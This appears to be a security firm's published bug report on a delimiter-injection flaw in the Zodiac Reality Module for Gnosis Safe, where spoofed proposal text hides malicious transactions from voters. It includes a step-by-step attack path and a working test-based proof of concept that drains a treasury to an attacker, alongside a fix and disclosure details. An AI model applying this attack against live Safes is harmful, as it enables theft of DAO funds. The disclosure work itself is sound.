Grego AI | Gnosis Safe Drain via Spoofed Question Rendering

Safe

Zodiac Reality Module

Gnosis Safe Drain via Spoofed Question Rendering

A critical Safe Zodiac Reality Module finding where crafted proposal data could display a legitimate transaction while committing to hidden calls.

Failure path

A permissionless caller could inject the Reality.eth field delimiter into a Zodiac proposal ID. The interface displayed a legitimate transaction hash while the module committed to attacker-controlled calls.

Impact and conditions

Once voters approved the legitimate-looking question, the hidden calls could execute with full Safe authority. One affected deployment was the GnosisDAO treasury, which held about $65 million at disclosure.

Following on from last week’s article on Gnosis Safe module bugs, this week’s next critical bug we discovered on the @safe Zodiac (@zodiaceco) modules is a method to craft a disguised malicious proposal that could sneak past governance checks, and if exploited, would allow full control of any Safe that uses the Zodiac RealityETH module and the Reality.eth front-end interface. One of those Safes vulnerable to the attack was @gnosisdao that controls a Treasury safe with $65mm at risk.

Could this be detected with a highly vigilant governance process through pre-execution transaction simulation? Maybe (if it exists) … and maybe not. What if the attacker did not transfer any funds but just enabled his own malicious module for future theft, or simply provided a simple infinite ERC20 approval for the Safe’s largest asset to an attacker controlled address? If you are serious about security (and for DeFi you must be) you must reduce all possible attack vectors and leave no room for error.

The bug was disclosed to the @gnosisguild team who have acknowledged and provided links to the fixes below, stating that “We notified the maintainers of Reality.eth, and they confirmed deployment of a safeguard in their front end.”:

https://github.com/RealityETH/reality-eth-monorepo/commit/ef61240a67fe3ea6f3934368b9d9fb4e74a4f868

https://github.com/RealityETH/reality-eth-monorepo/commit/bebe309d4f5d86e8678f5cff830b89dade424e58

Web3 security is not just about smart contracts - it’s about considering every possible vector of attack. With the Grego AI security layer enabled, you can ensure you have a lethal team of cracked bounty hunters injected with AI bug hunting steroids securing your protocol at all times.

Reach out to @0xriptide or @0xitsgreg to discuss how to enable the Grego AI security layer on your protocol today.

Bug report follows …

Summary

The buildQuestion function in RealityModule.sol concatenates a user-controlled proposalId string with a fixed 3-byte delimiter (0xe2909f) and a transaction hash digest using abi.encodePacked, without any sanitization of proposalId. Because 0xe2909f is the UTF-8 encoding of \u241f — the exact delimiter the Reality.eth dapp uses to split question fields for template rendering — an attacker can inject this delimiter into proposalId to control which value is displayed as the transaction hash. The Reality.eth dapp then shows an attacker-chosen legitimate transaction hash while the actual executable transactions are malicious, enabling complete draining of any Gnosis Safe governed by the RealityModule, including the $65mm in the Gnosis DAO Treasury contract controlled by the Gnosis DAO Safe.

Affected Code

  • Contract: RealityModule.sol — functions buildQuestion, addProposal, addProposalWithNonce
  • Repository: gnosisguild/zodiac-module-reality
  • Concrete implementations: RealityModuleETH.sol, RealityModuleERC20.sol
  • Cross-system dependency: @reality.eth/reality-eth-lib — formatters/question.js (populatedJSONForTemplate, delimiter())
  • Template rendering: sprintf-js ^1.1.1 via vsprintf — silently discards excess arguments

The Bug

The vulnerability is a delimiter injection — the same class as SQL injection or CSV injection, applied to a template rendering system that spans two codebases.

On-chain (Solidity): buildQuestion embeds the delimiter \u241f between proposalId and txsHash, but never validates that proposalId itself does not already contain this delimiter:

// RealityModule.sol — line 429
function buildQuestion(string memory proposalId, bytes32[] memory txHashes)
    public pure returns (string memory) {
    string memory txsHash = bytes32ToAsciiString(keccak256(abi.encodePacked(txHashes)));
    return string(abi.encodePacked(proposalId, bytes3(0xe2909f), txsHash));
}

Off-chain (JavaScript): The Reality.eth library splits the question string on the same \u241f delimiter and uses vsprintf to populate the template:

// reality-eth-lib/formatters/question.js — line 14
exports.delimiter = function() {
    return '\u241f';
}

// line 280
exports.populatedJSONForTemplate = function(template, question, errors_to_title) {
    var qbits = question.split(module.exports.delimiter());
    var interpolated = vsprintf(template, qbits);
    return module.exports.parseQuestionJSON(interpolated, errors_to_title);
}

The gap: addProposal is a public, permissionless function with zero validation on proposalId:

// RealityModule.sol — line 214
function addProposal(string memory proposalId, bytes32[] memory txHashes) public {
    addProposalWithNonce(proposalId, txHashes, 0);  // no validation on proposalId
}

No layer — on-chain, off-chain, or monitoring — checks for the presence of the delimiter character in proposalId.

How the Spoofing Works

The default Zodiac template (src/tasks/defaultTemplate.json) has exactly two %s placeholders:

{
    "title": "Did the Snapshot proposal with the id %s pass the execution of the array of Module transactions with the hash 0x%s? ...",
    "lang": "en",
    "type": "bool",
    "category": "DAO proposal"
}

Normal flow — question string has 2 delimiter-separated fields:

"QmLegitProposal␟<txsHash>"
  split → ["QmLegitProposal", "<txsHash>"]
  vsprintf fills %s₁ and %s₂ correctly

Attack flow — injected delimiter creates 3 fields:

"QmLegitProposal␟<legitimate_txsHash>␟<malicious_txsHash>"
  split → ["QmLegitProposal", "<legitimate_txsHash>", "<malicious_txsHash>"]
  vsprintf fills %s₁ with legitimate ID, %s₂ with legitimate hash
  field[2] (actual malicious hash) is SILENTLY DISCARDED

The sprintf-js library’s vsprintf function follows standard sprintf behavior: extra arguments beyond the format string’s placeholder count are silently ignored. The voter sees:

“Did the Snapshot proposal with the id QmLegitProposal pass the execution of the array of Module transactions with the hash 0x<legitimate_txsHash>?”

This is indistinguishable from the real question. The raw question string containing the injected delimiter is never rendered anywhere in the dapp UI. The dapp renders only question_json[‘title’] or question_json[‘title_text’], both derived from the vsprintf output that has already discarded the malicious hash.

Attack Path

  1. Attacker identifies a legitimate pending Snapshot proposal “QmLegit…” for a DAO using the RealityModule, and computes the expected txsHash for its legitimate transactions using the public getTransactionHash() view function.
  2. Attacker constructs malicious drain transactions (e.g., transfer entire Safe balance to attacker address) and computes their EIP-712 hashes as txHashes_malicious.
  3. Attacker calls addProposal(“QmLegit…\u241f<legitimate_txsHash>”, txHashes_malicious). The buildQuestion function produces “QmLegit…\u241f<legitimate_txsHash>\u241f<malicious_txsHash>”. The addProposalWithNonce function stores the questionHash and creates the question on Reality.eth.
  4. The Reality.eth dapp calls populatedJSONForTemplate, splits the question on \u241f producing three fields. The template’s two %s placeholders consume the first two fields: the legitimate proposal ID and the legitimate transaction hash. The third field (the actual malicious hash) is silently discarded. Voters see a rendered title showing a real Snapshot proposal with its real transaction hash.
  5. Reality.eth voters rationally approve the question — the protocol’s own rendering logic, not social engineering, presents them with correct-looking information.
  6. After the cooldown period, attacker calls executeProposalWithIndex(…). The module rebuilds the same question, matches the stored questionHash, confirms the oracle result, verifies transaction parameters against txHashes_malicious, and calls exec() which triggers execTransactionFromModule() on the Safe, draining its assets to the attacker.

No Prevention at Any Layer

Table showing that addProposal, buildQuestion, Reality.eth rendering, the dapp UI, event logs, and standard monitoring do not prevent delimiter injection; the cooldown only partly helps.

Real-World Exploitation Vector

Every RealityModule-enabled Gnosis Safe using the standard 2-placeholder template is vulnerable. The attack requires:

Attack prerequisite table: addProposal access and delimiter injection are trivial, public proposal data makes transaction hashes easy to derive, voter approval is highly probable because the UI looks legitimate, and the cooldown is automatic.

The attacker’s cost is gas for a single addProposal call. DAO treasuries commonly hold millions of dollars.

The txHashes array supports multiple transactions per proposal, enabling the attacker to chain transfers for every asset type (ETH, ERC20, ERC721) in a single approval. The exec() function supports DelegateCall (operation value 1), allowing arbitrary code execution in the Safe’s context via a custom drain contract.

Proof of Concept

Added to zodiac-module-reality/test/DaoModuleETH.spec.ts:
it('drains DAO treasury by injecting delimiter into proposalId to spoof displayed txsHash', async () => {
  const { avatar, mock, module, oracle } = await setupTestWithTestAvatar()
  const [, attacker] = await ethers.getSigners()
  const attackerAddress = await attacker.getAddress()

  // DAO treasury setup
  await user1.sendTransaction({ to: await avatar.getAddress(), value: ethers.parseEther('10') })
  await avatar.setModule(await module.getAddress())

  // Compute the txsHash voters would expect for a legitimate proposal
  const legitimateProposalId = 'QmLegitimateSnapshotProposal'
  const legitimateTxHash = await module.getTransactionHash(user1Address, 0, '0x', 0, 0)
  const legitimateTxsHash = ethers.solidityPackedKeccak256(['bytes32[]'], [[legitimateTxHash]]).slice(2)

  // Attacker's malicious drain transaction
  const drainTxHash = await module.getTransactionHash(
    attackerAddress, ethers.parseEther('10'), '0x', 0, 0,
  )

  // Inject delimiter so voters see the legitimate hash instead of the malicious one
  const DELIMITER = '\u241f'
  const spoofedProposalId = legitimateProposalId + DELIMITER + legitimateTxsHash

  const question = await module.buildQuestion(spoofedProposalId, [drainTxHash])
  const fields = question.split(DELIMITER)

  // Voters see fields[0] (legitimate ID) and fields[1] (legitimate hash)
  expect(fields.length).to.equal(3)
  expect(fields[0]).to.equal(legitimateProposalId)
  expect(fields[1]).to.equal(legitimateTxsHash)

  // Submit the spoofed proposal — addProposal is permissionless
  const questionId = await module.getQuestionId(question, 0)
  await mock.givenMethodReturnUint(
    oracle.interface.getFunction('askQuestionWithMinBond').selector, questionId,
  )
  await module.connect(attacker).addProposal(spoofedProposalId, [drainTxHash])

  // Oracle reports approval (voters rationally approved the legitimate-looking question)
  const block = await ethers.provider.getBlock('latest')
  await mock.reset()
  await mock.givenMethodReturnBool(
    oracle.interface.getFunction('resultFor').selector, true,
  )
  await mock.givenMethodReturnUint(
    oracle.interface.getFunction('getFinalizeTS').selector, block!.timestamp,
  )

  const attackerBalanceBefore = await ethers.provider.getBalance(attackerAddress)

  await nextBlockTime(hre, block!.timestamp + 24)
  await module.executeProposal(
    spoofedProposalId, [drainTxHash],
    attackerAddress, ethers.parseEther('10'), '0x', 0,
  )

  // DAO treasury drained to attacker
  const attackerBalanceAfter = await ethers.provider.getBalance(attackerAddress)
  expect(attackerBalanceAfter - attackerBalanceBefore).to.equal(ethers.parseEther('10'))
  expect(await ethers.provider.getBalance(await avatar.getAddress())).to.equal(0)
})

The PoC demonstrates:

  1. Delimiter injection succeeds: buildQuestion produces 3 delimiter-separated fields instead of the expected 2.
  2. Display spoofing confirmed: fields[0] is the legitimate proposal ID, fields[1] is the legitimate txsHash — exactly what voters would see after vsprintf processing.
  3. Permissionless submission: The attacker (a regular unprivileged signer) calls addProposal with no restrictions.
  4. Full execution path: executeProposal passes all on-chain checks (questionHash match, oracle result, cooldown) and calls execTransactionFromModule on the real TestAvatar.
  5. Complete fund drainage: 10 ETH moves from the avatar (DAO treasury) to the attacker. Avatar balance drops to zero.

Validate proposalId in addProposalWithNonce to reject any string containing the delimiter:

Alternatively, the delimiter could be escaped or percent-encoded in buildQuestion before concatenation.

function addProposalWithNonce(
      string memory proposalId,
      bytes32[] memory txHashes,
      uint256 nonce
  ) public {
+     bytes memory pidBytes = bytes(proposalId);
+     for (uint256 i = 0; i + 2 < pidBytes.length; i++) {
+         require(
+             !(pidBytes[i] == 0xe2 && pidBytes[i+1] == 0x90 && pidBytes[i+2] == 0x9f),
+             "proposalId contains invalid delimiter"
+         );
+     }
      string memory question = buildQuestion(proposalId, txHashes);
      // ... rest unchanged
  }

Likelihood (Medium)

The attack requires zero on-chain prerequisites:

addProposal is fully public and permissionless with no access control modifier, proposalId accepts arbitrary bytes with no validation, and the attack works with the standard Zodiac Reality Module template deployed by default. The attacker only needs to observe a legitimate pending Snapshot proposal for the target DAO and submit the crafted proposal.

The sole external dependency is that Reality.eth voters must approve the question, which they will do rationally because the protocol’s own rendering logic — not social engineering by the attacker — presents them with correct-looking information about a real Snapshot proposal with a matching transaction hash. The raw question string containing the injected delimiter is never rendered in the dapp UI. The \u241f character (U+241F SYMBOL FOR UNIT SEPARATOR) is a small control picture glyph that is not visible in the rendered template output. The owner could invalidate the proposal via markProposalAsInvalid during the cooldown window, but the standard monitoring setup (OpenZeppelin Defender Sentinel watching ProposalQuestionCreated events) does not detect delimiter injection, as the proposalId is emitted as an indexed string (stored as its keccak256 hash in logs).

Impact (Critical)

Complete, irreversible draining of all assets held by the targeted Gnosis Safe — including ETH, all ERC20 tokens, NFTs, and positions in external DeFi protocols. The txHashes array supports multiple transactions per proposal, enabling the attacker to chain transfers for every asset type in a single approval. The exec() function supports DelegateCall (operation value 1), allowing the attacker to execute arbitrary code in the Safe’s context via a custom drain contract. Every independently deployed RealityModule-enabled Safe using the standard 2-placeholder template is vulnerable, making this a protocol-wide issue. The attack is repeatable against any target DAO.